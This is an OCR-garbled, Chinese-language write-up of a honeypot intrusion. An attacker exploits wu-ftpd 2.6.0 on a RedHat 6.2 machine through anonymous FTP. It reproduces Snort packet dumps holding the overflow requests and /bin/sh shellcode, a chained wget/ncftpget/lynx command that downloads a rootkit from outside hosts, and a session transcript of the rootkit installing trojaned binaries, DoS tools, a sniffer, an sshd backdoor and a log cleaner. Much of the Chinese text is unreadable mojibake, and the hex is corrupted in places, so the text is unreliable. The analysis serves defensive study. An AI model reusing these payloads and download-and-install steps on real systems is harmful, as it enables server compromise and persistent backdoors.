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HIE T —4 RedHat Linux 6.2 I¥] honeypot, BIFFIAHESE TIE/E, 2D k% E
FTFFSE A H AN FFIR . RE] 20 480, A —LIBHOLIKT .

T A R A AR S B A AT
i RSB RE A FF FTP RS 4%

09/03-14:31:28.726827 10.0.0.1:21 -> 210.3.205.65:45257

TCPTTL:64 TOS.0x10 ID:477 IpLen:20 DgmLen:130 DF

**x APF** Seq: Ox4CBF7747  Ack: 0x7194723B  Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOPNOPTS: 480408 31978864
32323020616263204654502073657276 220 abc FTPserv

65 722028 56 65 72 73 69 6F 6E 20 77 752D 32 er (Version wu-2

2E 36 2E 30 28 31 29 20 4D 6F 6E 20 46 65 62 20 .6.0(1) Mon Feb
32382031303A33303A33362045535420 2810:30:36 EST
323030302920 7265616479 2E 0D OA 2000) ready...

B e e e e e e e R S R

09/03-14:31:28.968760 210.3.205.65:45257 -> 10.0.0.1:21

TCPTTL:49 TOS:0x0 1D:34661 |pLen:20 DgmLen:61 DF

**x APF** Seq: Ox7194723B  Ack: Ox4CBF7795 Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOPNOPTS: 31979275 480408

55534552 20 66 74 70 OA USER ftp.
=-+=+=4=4=4+=4+=4=4=4+=4=4+=4=4+=4=4+=4+=4=4=4+=4=4+=4+=4+=4+=4=4+=4+=4+=4+=+

09/03-14:31:29.238175 210.3.205.65:45257 -> 10.0.0.1:21

TCPTTL:49 TOS:0x0 1D:34662 |pLen:20 DgmLen:66 DF

X APF** Seq: O0x71947244  Ack: Ox4CBF77D9  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOPNOPTS: 31979301 480433

50 41 53 53 20 6D 6F 7A 69 6C 6C 61 40 OA PASS mozilla@.
=+=4=4=4=4=4=4=+=+=+=4=4=+=+=+=+=+=+=+=+=+=+=+=+=4=+=+=+=4=+

09/03-14:31:29.246455 10.0.0.1:21 -> 210.3.205.65:45257

TCPTTL:64 TOS:0x10 1D:480 IpLen:20 DgmLen:100 DF

¥R AP ** Seq: OX4CBF77D9  Ack: 0x71947252  Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOPNOPTS: 480460 31979301

3233302047 756573 74206C 6F 6769 6E 20 230 Guest login

6F 6B 2C 2061 63636573 7320726573 7472 0k, access restr
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69 63 74 69 6F 6E 73 20 61 70 70 6C 79 2E OD OA ictions apply...
B = e s = = e e e e e e e R =

RIETTHRIZE MR, EYLREAIREN R, BEHTHRIIIRE shell:

[**] FTPRNFR ././ attempt [**]

09/03-14:31:29.497555 210.3.205.65:45257 -> 10.0.0.1:21

TCPTTL:49 TOS:0x0 1D:34663 |pLen:20 DgmLen:62 DF

*REAP*R* Seg: 0x71947252  Ack: Ox4CBF7809 Win: 0x16D0  TepLen: 32
TCP Options (3) => NOPNOPTS: 31979326 480460

52 4E 46 52 20 2E 2F 2E 2F OA RNFR ./.1.
=+=4=4=4=4=4=4=+=+=+=4=4=+=+=+=+=+=+=+=+=+=+=+=+=4=+=+=+=4=+

[**] FTPRNFR ././ attempt [**]

09/03-14:31:52.163774 210.3.205.65:45257 -> 10.0.0.1:21

TCPTTL:49 TOS:0x0 1D:34745 | pLen:20 DgmLen:73 DF

*x% AP*** Seq: 0x7194777F  Ack: OX4CBF8810 Win: 0x1920 TcplLen: 32
TCP Options (3) => NOPNOP TS: 31981590 482673

52 4E 46 52 20 2E 2F 2E 2F 2E 2F 2E 2F 2E 2F 2E RNFR ././.1.1.].

2F 2E 2F 2E 0A 1.,
=+=+4=4=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/03-14:31:52.178225 10.0.0.1:21 -> 210.3.205.65:45257

TCPTTL:64 TOS.0x10 ID:564 IpLen:20 DgmLen:97 DF

**x AP ** Seg: Ox4CBF8810 Ack: 0x71947794 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOPNOPTS: 482701 31981590

333530204669 6C 6520657869 7374732C 350 File exists,
2072656164 79 20 66 6F 722064 65737469  ready for desti

6E 61 74 69 6F 6E 20 6E 61 6D 65 0D OA nation name..
=+=4=4=4=4=4=4=+=+=+=4=4=+=+=+=+=+=+=+=+=+=+=+=+=4=+=+=+=4=+

[**] FTPwu-ftp file completion attempt { [**]

09/03-14:31:52.421271 210.3.205.65:45257 -> 10.0.0.1:21

TCPTTL:49 TOS:0x0 1D:34746 |pLen:20 DgmLen:59 DF

R AP*R* Seq: 0x71947794  Ack: Ox4CBF883D  Win: 0x1920 TcpLen: 32
TCP Options (3) => NOPNOPTS: 31981619 482701

43574420 7E 7B OA CWD ~{.
=+=4=4=4=4=4=4=+=+=+=4=4=+=+=+=+=+=+=+=+=+=+=+=+=4=+=+=+=4=+
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09/03-14:31:52.422227 10.0.0.1:21 -> 210.3.205.65:45257

TCPTTL:64 TOS:0x10 ID:565 IpLen:20 DgmLen:56 DF

**x APF** Seq: Ox4CBF883D  Ack: 0x7194779B  Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOPNOPTS: 482726 31981619

0A 73 50 OA .SP.
=-+=+4=4=+4=4+=4+=4=4=4+=4=4+=4=+=4=4+=4+=4=4+=4+=4=4=4+=4+=4+=4=4+=4+=4+=4+=+

09/03-14:31:52.656467 210.3.205.65:45257 -> 10.0.0.1:21

TCPTTL:49 TOS.0x0 I1D:34747 |pLen:20 DgmLen:124 DF

R AP*R* Seg: 0x7194779B  Ack: Ox4CBF8841 Win: 0x1920 TcpLen: 32
TCP Options (3) => NOPNOPTS: 31981644 482726
33DBF7E3B04633C9CD 806A548BDCB027 3..F3.jT...

B1IEDCD80B0O3DCD8052B110682F44 E2F8 ... =..R..h/D..
8B DC BO3D CD 80 58 6A 54 6A 2858 CD 806A 0B ...=..X]Tj(X...
58 99 52 68 6E 2F 73 68 68 2F 2F 62 69 89 E352 X.Rhn/shh//bi..R
53 89 E1 CD 80 S...

=-+=+=4=4=4+=4+=4=4=4+=4=4+=4=4+=4=4+=4+=4=4=4+=4=4+=4+=4=4+=4=4+=4+=4+=4+=+

unset HISTFILE Ll . bash_history ig x4, FEIE4T uname-a &%
BT id 5. HEEhRIELERE, uname —a NiZ£2ERAHNEEERFER
B . RERE A woet. BX ncftpget. BX lynx £ F#—A rootkit, H5g%
BN

http://home.wanadoo.nl/katrien.boon/tux.tgz
ftp://rob:optic@130.161.191.58/tux.tgz

WRTERT), RIFERELS. 235K, BEHRERIM.

09/03-14:31:52.923684 210.3.205.65:45257 -> 10.0.0.1:21

TCPTTL:49 TOS:0x0 1D:34748 IpLen:20 DgmLen:80 DF

AP * Seq: OX719477E3  Ack: Ox4CBF8841 Win: 0x1920 TcpLen: 32
TCP Options (3) => NOPNOPTS: 31981668 482751

756E 7365742048 495354 4649 4C 45 3B 69 unset HISTFILE;i

64 3B 75 6E 61 6D 65 20 2D 61 3B OA d;uname -a;.

S e e e e e e e e e e e

[**] ATTACK RESPONSES id check returned root [**]

09/03-14:31:52.949755 10.0.0.1:21 -> 210.3.205.65:45257

TCPTTL:64 TOS.0x10 ID:568 IpLen:20 DgmLen:91 DF

**x APF** Seq: Ox4CBF8841  Ack: 0x719477FF  Win: Ox7D78 TcpLen: 32
TCP Options (3) => NOPNOPTS: 482780 31981668

7569 64 3D 30 28 72 6F 6F 74 29 20 67 69 64 3D  uid=0(root) gid=
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http://home.wanadoo.nl/katrien.boon/tux.tgz
ftp://rob:optic@130.161.191.58/tux.tgz

3028 72 6F 6F 7429 20 67 72 6F 7570 733D 35 0(root) groups=5
30 28 66 74 70 29 OA 0(ftp).
= = e e e = e e e e e e e e e R R NN N

[**] FTP command overflow attempt [**]

09/03-14:31:53.205468 210.3.205.65:45257 -> 10.0.0.1:21
TCPTTL:49 TOS:0x0 1D:34749 |pLen:20 DgmLen:378 DF

R AP *R* Seq: Ox719477FF  Ack: Ox4CBF8868 Win: 0x1920 TcpLen: 32
TCP Options (3) => NOPNOPTS: 31981697 482780

656368 6F 203120 3B 206966 205B 20 2D 66 echol;if [ -f
202F 7573 72 2F 62 69 6E 2F 77 67 6574 205D  /usr/bin/wget |
20 3B 20 74 68 65 6E 20 2F 75 73 72 2F 62 69 6E  ; then /usr/bin
2F 77 67 657420 68 74 74 70 3A 2F 2F 68 6F 6D  /wget http://hom
65 2E 77 61 6E 61 64 6F 6F 2E 6E 6C 2F 6B 61 74 e.wanadoo.nl/kat
72 69 65 6E 2E 62 6F 6F 6E 2F 74 75 78 2E 74 67  rien.boon/tux.tg
7A203B 20656C 7365206966 205B 202D 66 z; elseif [ -f

20 2F 7573 72 2F 62 69 6E 2F 6E 63 66 74 7067  /ust/bin/ncftpg
6574205D 203B 20 7468 65 6E 20 2F 757372 et ] ; then/usr

2F 62 69 6E 2F 6E 63 66 74 70 67 65 74 20 22 66 /bin/ncftpget "f
7470 3A 2F 2F 72 6F 62 3A 6F 70 7469 63 40 31  tp://rob:optic@1
33302E3136312E3139312E35382F 7475 30.161.191.58/tu
78 2E 7467 7A 2220 3B 656C 73652069 66 20 x.tgz" ;elseif

5B 202D 66 20 2F 7573 72 2F 62 69 6E 2F 6C 79 [ -f /usr/bin/ly

6E 78 205D 203B 20 74 68 65 6E 20 2F 757372 nx] ; then/usr

2F 62 69 6E 2F 6C 79 6E 78 20 2D 64 75 6D 7020 /bin/lynx -dump
68 74 74 70 3A 2F 2F 68 6F 6D 65 2E 77 61 6E 61  http://home.wana
64 6F 6F 2E 6E 6C 2F 6B 61 74 72 69 65 6E 2E 62 doo.nl/katrien.b
6F 6F 6E 2F 74 7578 2E 74 67 7TA 20 3E 3E 20 74 oon/tux.tgz >> t
7578 2E 7467 7A 20 3B 2066 69 20 3B 20 66 69 ux.tgz ; fi ; fi

20 3B 20 66 69 OA ; fi.
=4=+4=4=4=4+=4=4=4=+=4=+=4+=4+=4=4=+=4+=+=4+=4=4=4=4+=4+=+=+4=4=+4=4=+

[**] FTP command overflow attempt [**]

09/03-14:31:53.698379 210.3.205.65:45257 -> 10.0.0.1:21
TCPTTL:49 TOS:0x0 1D:34751 IpLen:20 DgmLen:266 DF

¥R AP*R* Seg: 0xX71947A8B  Ack: Ox4CBF88BAB  Win: 0x1920 TcpLen: 32
TCP Options (3) => NOPNOPTS: 31981747 482831

69 66 20 5B 20 2D 66 20 74 75 78 2E 74 67 7TA 20 if [ -f tux.tgz
5D 20 3B 20 74 68 65 6E 20 2F 62 69 6E 2F 7461 ] ; then /bin/ta
72202D 7TA 787666 20 74 75 78 2E 74 67 7TA 20 r -zxvf tux.tgz
3B 20656C 7365206966 205B 202D 66 20 74 ; elseif [ -ft
7578 2E 7467 TA2E 31205D 20 3B 20 74 68 65 ux.tgz.1] ; the
6E 20 2F 62 69 6E 2F 74 61 7220 2D 7A 78 76 66 n /bin/tar -zxvf
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3B 206669203B 20 736C 65657020313020 ;fi;sSleep10

3B 2063642074 75786B 69 74 20 3B 20 2E 2F ; cd tuxkit; ./

7475786B 69742070 69 6D 70 62 6F 79 20 31  tuxkit pimpboy 1
343835392036393639203B 20 736C 6565 4859 6969 ; slee
70203430203B206364202E2E203B2072 p40;cd..;r

6D 202D 7266 20 74 7578 2A 20 3B 206563 68 m -rf tux* ; ech

6F 20 22 31 22 0A o"1".
=t+=t=t=t=t=t=t=+=t+=t=t=t=+=t+=t=t=t=t=t+=t=+=t=+=t=t=+=+=+=+=+

XRE—AMRAMFIH wu-ftpd IRIFERAHBEEEE. EC)FHRNER, R
honeypot #iXFiFE R Y, Aid& BE TR rootkit FARRE, FRAERHE
BNESLT . B HIERA B8 etc/ftpusers X4, ik ftp A1 anonymous BEAT
WERURMERER, FHERELEFRAA wu-ftpd FIRH, XBEHASF
BERE “TTHT” T.

AEBIMXEAFHE T, BAATHARTEA A BT .

2 AT B

THREXK—RALRENREXERE, WRANBRECEERTR. 2
BAE AL, SERFA wu-ftpd K HIREHR, REETE D rkigz
i1 rootkit G TR, BIPHEHERT), T fip ERIECHZFTER T
BT —A rkeht, ZEXBEREMAEMBER, FTLMREEE BB - 2 EHRDI
fEITIE &%, B TIRE RGBT, ZET —ABRS, Ik SsH FEIT,
ERERE B RED]—ANEEKIHRFE -

BEEBABMIT T, MIEARE HRMARS HERETARR.

220 abc FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
USER ftp

331 Guest login ok, send your complete e-mail address as password.

PASS mozilla@

230 Guest login ok, access restrictions apply.

350 File exists, ready for destination name

350 File exists, ready for destination name

(EREE, HIg)

350 File exists, ready for destination name

350 File exists, ready for destination name
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PWD
257 "[" is current directory.
550

00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
(00000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000X 1CLQ-PIX 1Y X:

File name too long.

250 CWD command successful.

CWD.

250 CWD command successful.

350 File exists, ready for destination name
CWD 735073

550 735073: No such file or directory.
CWD 73507

550 73507: No such file or directory.
CWD 7350

550 7350: No such file or directory.

RNFR .

350 File exists, ready for destination name
350 File exists, ready for destination name

sP

3F3i T'=Rh/D=X] Tj(XjXRhn/shh//biRSunset HISTFILE;id;uname -a;
Linux abc 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
Is

bin

efc

lib

pub

waget killtecsport.go.ro/rk.eht

Is

bin

etc

lib

pub

wget

lynx -dump " www.killtecsport.go.ro/rk.eht" >rk.tgz
Is

bin

etc

lib

pub
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http://www.killtecsport.go.ro/rk.eht

rk.tgz
tar -zxvf rk.tgz

Is

bin

etc

lib

pub

rk.tgz

ftp killtecsport.go.ro
killtecsport

adduser

Is

Name (killtecsport.go.ro:root):
-rw-r--r--  1free web
-rw-r--r--  1free web
-fw-r--r--  1free web
-fw-r--r--  1free web
-fw-r--r--  1free web
-fw-r--r--  1free web
drwxr-xr-x 9 free web
-rw-r--r--  1free web
-rw-r--r--  1free web
-rw-r--r--  1free web
-rw-r--r--  1free web
-rw-r--r--  1free web
-fw-r--r--  1free web
-fw-r--r--  1free web
-fw-r--r--  1free web
-fw-r--r--  1free web
get rk.eht

bye

tar -zxvf rk.eht

rk/

rk/

rk/chsh

rk/inet

rk/sense

rk/utils/

rk/utils/nowu

rk/login

rk/.1addr

rk/.1file

rk/.1lproc

39345 Jul 13 13:05 flood.tgz
55334 Aug 14 08:06 mirkforce.tgz
4917 May 23 14:50 muie.tgz
41754 Aug 12 22:35 newBSD..tar.gz
221244 Aug 18 12:37 newssh.tgz
56169 Jul 27 07:58 php.gz
89 Jul 21 06:02 psybnc
200798 Jul 21 06:08 psybnc.tar.gz
519130 Aug 19 08:07 rk.eht
308710 Aug 23 08:58 rk1.eht
31827 May 23 14:35 scaners.tar.gz
2073 Aug 12 22:35 9l 3.tar.gz
7851 Aug 18 12:33 strobe.tgz
27198 Jul 16 09:03 suid
342893 May 12 06:01 tk.tgz
2118 Aug 18 12:35 vadimll.tgz
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rk/ls

rk/vdir
rk/crontab-entry
rk/ps

rk/iwp

rk/shad

rk/netstat
rk/xinetd

rk/find

rk/sshd/
rk/sshd/ssh
rk/sshd/init.sshd
rk/sshd/sshd-install
rk/sshd/sshd_config
rk/sshd/install.log
rk/sshd/ssh_host_key
rk/sshd/sshd
rk/.1logz

rk/top

rk/install
rk/atd.init

rk/du

rk/pstree
rk/syslogd
rk/syslogd.init
rk/mdshd
rk/sysinfo
rk/linsniffer
rk/functions
rk/clean

rk/dlice

rk/stream
rk/killall

cd rk

Jinstall

[OM[36m-=[0m[1;30m[[0m[1;32m-=- ENhT rK -=- [0Om[1;30m][0m[36m=-[0m[37m
[OM[36m|[Om[1;36m= [Om[1;37mInstalling trojaned programs...[Om[37m
[OM[36m|[Om[1;36m--- [Om[37mchsh

[OM[36m|[Om[1;36m--- [Om[37mps

[OM[36m|[Om[1;36m--- [Om[37mtop

[OM[36m|[Om[1;36m--- [Om[37mpstree
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[OM[36m|[Om[1;36m--- [Om[37mkillall

[OM[36m|[Om[1;36m--- [Om[37mIs

[OM[36m|[Om[1;36m--- [Om[37mfind

[OM[36m|[0Om[1;36m--- [Om[37mdu

[OM[36m|[Om[1;36m--- [Om[37mnetstat

[OM[36mM|[Om[1;36m--- [Om[37msyslogd

[OM[36mM|[Om[1;36m--- [Om[37mlog cleaner

[OM[36mM|[Om[1;36m--- [OM[37mwp

[OM[36mM|[Om[1;36m--- [Om[37mshad

[OM[36mM|[0m[1;36m= [Om[1;37mInstalling DoS programs...[Om[37m
[OM[36m|[Om[1;36m--- [Om[37mvadim

[OM[36m|[0Om[1;36m--- [Om[37mslice

[OM[36m|[Om[1;36m= [Om[1;37mInstalling sniffer...[Om[37m
[OM[36m|[Om[1;36m= [Om[1;37mInstalling sshd backdoor...[0Om[37m
[OM[36m|[Om[1;36m= [Om[1;37mSetting up crontab entries...[0OM[37m
[Om[1;32mopen ports:[Om[37m

portmap 283  root 4u  1Pv4 332 TCP*:sunrpc (LISTEN)
rpc.statd 306 root lu IPv4 366 TCP*:909 (LISTEN)
identd 369 root 4u  IPv4 429 TCP*:auth (LISTEN)
identd 372 root 4u  IPv4 429 TCP*:auth (LISTEN)
identd 373 root 4u  IPv4 429 TCP*:auth (LISTEN)
identd 375  root 4u  IPv4 429 TCP*:auth (LISTEN)
identd 376  root 4u  IPv4 429 TCP*:auth (LISTEN)
inetd 416  root 4u  IPv4 478 TCP*:ftp (LISTEN)
inetd 416  root 5u IPv4 479 TCP*:telnet (LISTEN)
inetd 416  root 6u IPv4 480 TCP*:shell (LISTEN)
inetd 416 root  9u IPv4 481 TCP*:login (LISTEN)
inetd 416 root 12u IPv4 484 TCP*:finger (LISTEN)
inetd 416  root 13u IPv4 486 TCP*:linuxconf (LISTEN)
Ipd 429  root 6u IPv4 500 TCP*:printer (LISTEN)
sendmail 459  root 4u IPv4 537 TCP*:smtp (LISTEN)
atd 1069  root 3u IPv4 1199 TCP*:ssmtp (LISTEN)

[Om[1;32mchecking for other rootkits:[Om[37m
[Om[1;31msniffer logz[Om[37m

identd 1047 root w REG 3,5 0

/usr/local/games/tcp.log

[Om[1;31m/dev filez:[OmM[37m

[0m[1;32mSending mail...wait few minutez[Om[37m
[0m[1;32mDone.[Om[37m
[0m[1;32mDone.[Om[37m
[Om[1;32mDone.[Om[37m
[Om[1;32mDone.[Om[37m
[OM[1;32mDone.[Om[37m

77791
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[Om[1;32mDone.[Om[37m
[OM[1;32mDone.[Om[37m
[OM[1;32mDone.[Om[37m
[OM[1;32mDone.[Om[37m
[Om[1;32mDone.[Om[37m
[0m[1;32mDone.[Om[37m
[0m[1;32mDone.[Om[37m
[0m[1;32mDone.[Om[37m
[0m[1;32mDone.[Om[37m
[0m[1;32mDone.[Om[37m
[OM[1;32mDone.[Om[37m
[OM[1;32mDone.[Om[37m
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